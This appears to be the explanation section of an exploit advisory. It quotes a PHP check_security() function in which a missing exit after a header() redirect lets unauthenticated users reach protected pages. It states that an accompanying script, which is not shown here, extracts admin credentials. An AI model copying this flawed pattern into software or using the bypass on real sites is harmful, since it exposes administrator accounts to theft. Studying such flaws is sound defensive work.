VULN EXPLANATION
Exploitable code is located in common.php:
function check_security($is_admin=0)
{
$redirect = false;
if($is_admin&&!get_session("admin"))
$redirect = true;
elseif(!get_session("login")&&!$is_admin)
$redirect = true;
if($redirect)
header ("Location: index.php?querystring=" . urlencode(getenv("QUERY_STRING")) . "&ret_page=" . urlencode(getenv("REQUEST_URI")));
}
no exit function after header() function..
this script simply call the page and extract admin credentials
